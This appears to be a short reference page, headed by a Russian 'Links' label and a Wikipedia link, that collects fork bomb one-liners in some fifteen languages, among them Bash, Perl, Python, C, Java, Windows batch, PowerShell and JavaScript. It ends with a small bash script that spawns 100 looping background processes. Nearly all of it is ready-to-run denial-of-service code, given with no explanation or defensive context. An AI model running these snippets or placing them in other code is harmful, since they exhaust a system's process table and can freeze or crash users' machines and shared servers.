Ссылки:
https://en.wikipedia.org/wiki/Fork_bomb
Ruby
fork while true
Perl
perl -e "fork while fork" &
Python
import os while True: os.fork()
C
#include#include int main() { while(1) { fork(); } return 0; }
Java
public class ForkBomb { public static void main(String[] args) { while (true) { Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"}); } } }
Lua
-- Requires `luaposix' module local unistd = require "posix.unistd" while true do unistd.fork() end
Assembly (Linux running on IA-32)
section .text global _start _start: mov eax,2 ;System call for forking int 0x80 ;Call kernel jmp _start
Shell script
#!/bin/sh ./$0|./$0&
Shell script
#!/bin/sh ./$0& ./$0&
Bash
bomb(){ bomb | bomb & } bomb
Bash
:(){ :|:& };:
Bash
bomb(){bomb|bomb&};bomb
Windows batch
:ForkBomb start goto ForkBomb
Windows batch
%0 | %0
Windows batch
echo %0^|%0 >forkbomb.bat & forkbomb.bat
Windows batch
cmd /k echo -^|->-.bat&-
PowerShell
while ($true) { Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"; Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}'; }
JavaScript
(f => f(f))(async f => f(f) && f(f));
bash primer while mini bomb
cat 2.txt --------- #!/bin/bash while : do #echo `date` #echo sleep 1 done --------- cat 1.txt --------- #!/bin/bash i=1 while [ $i -le 100 ] do ./2.txt & i=$(($i+1)) done ---------